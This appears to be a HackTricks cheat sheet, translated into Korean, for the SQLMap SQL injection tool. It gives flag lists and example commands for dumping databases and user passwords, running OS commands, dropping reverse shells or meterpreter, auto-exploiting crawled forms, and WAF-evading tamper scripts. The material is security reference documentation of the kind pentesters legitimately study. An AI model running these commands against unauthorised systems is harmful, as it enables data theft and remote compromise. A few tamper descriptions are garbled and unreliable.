SQLMap

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQLmap의 기본 인자

일반적인

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

--technique 인자는 sqlmap이 시도할 SQL 인젝션 방법을 정의합니다. 문자열의 각 문자는 기술을 나타냅니다:

LetterTechniqueDescription
BBoolean-based blindtrue/false 조건을 사용하여 데이터를 추론합니다
EError-based상세한 DBMS 오류 메시지를 활용하여 결과를 유출합니다
UUNION query동일한 채널을 통해 데이터를 가져오기 위해 UNION SELECT 문을 주입합니다
SStacked queries;로 구분된 추가 문을 추가합니다
TTime-based blind인젝션을 감지하기 위해 지연(SLEEP, WAITFOR)에 의존합니다
QInline / out-of-bandLOAD_FILE()와 같은 함수나 DNS와 같은 OOB 채널을 사용합니다

기본 순서는 BEUSTQ입니다. 이를 재배열하거나 제한할 수 있습니다. 예를 들어, Boolean과 Time-based만 그 순서대로:

bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch

정보 검색

내부

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB 데이터

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

요청을 캡처하고 req.txt 파일을 생성합니다.

bash
sqlmap -r req.txt --current-user

GET 요청 주입

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 요청 주입

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

헤더 및 기타 HTTP 메서드에서의 인젝션

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

두 번째 차수 주입

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap으로 웹사이트 크롤링 및 자동 익스플로잇

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

주입 사용자 정의

접미사 설정

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

접두사

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection 찾기 도움말

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

변조

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다.
apostrophenullencode.py아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다.
appendnullbyte.py페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다.
base64encode.py주어진 페이로드의 모든 문자를 Base64로 인코딩합니다.
between.py'>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다.
bluecoat.pySQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다.
chardoubleencode.py주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
commalesslimit.py'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다.
commalessmid.py'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다.
concat2concatws.py'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다.
charencode.py주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음).
charunicodeencode.py주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022"
charunicodeescape.py주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022"
equaltolike.py'=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다.
escapequotes.py슬래시로 아포스트로피(')와 큰따옴표(")를 이스케이프합니다.
greatest.py'>' 연산자를 'GREATEST' 대응 문자로 대체합니다.
halfversionedmorekeywords.py각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다.
ifnull2ifisnull.py'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다.
modsecurityversioned.py전체 쿼리를 버전이 있는 주석으로 감쌉니다.
modsecurityzeroversioned.py전체 쿼리를 제로 버전 주석으로 감쌉니다.
multiplespaces.pySQL 키워드 주위에 여러 개의 공백을 추가합니다.
nonrecursivereplacement.py미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터).
percentage.py각 문자 앞에 백분율 기호('%')를 추가합니다.
overlongutf8.py주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음).
randomcase.py각 키워드 문자를 무작위 대소문자 값으로 대체합니다.
randomcomments.pySQL 키워드에 무작위 주석을 추가합니다.
securesphere.py특별히 제작된 문자열을 추가합니다.
sp_password.py페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다.
space2comment.py공백 문자(' ')를 주석으로 대체합니다.
space2dash.py공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2hash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2morehash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다.
space2mssqlblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mssqlhash.py공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다.
space2mysqlblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
space2mysqldash.py공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다.
space2plus.py공백 문자(' ')를 더하기 기호('+')로 대체합니다.
space2randomblank.py공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다.
symboliclogical.pyAND 및 OR 논리 연산자를 그들의 기호 대응물로 대체합니다(&& 및
unionalltounion.pyUNION ALL SELECT를 UNION SELECT로 대체합니다.
unmagicquotes.py인용 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해).
uppercase.py각 키워드 문자를 대문자 값 'INSERT'로 대체합니다.
varnish.pyHTTP 헤더 'X-originating-IP'를 추가합니다.
versionedkeywords.py각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다.
versionedmorekeywords.py각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다.
xforwardedfor.py가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기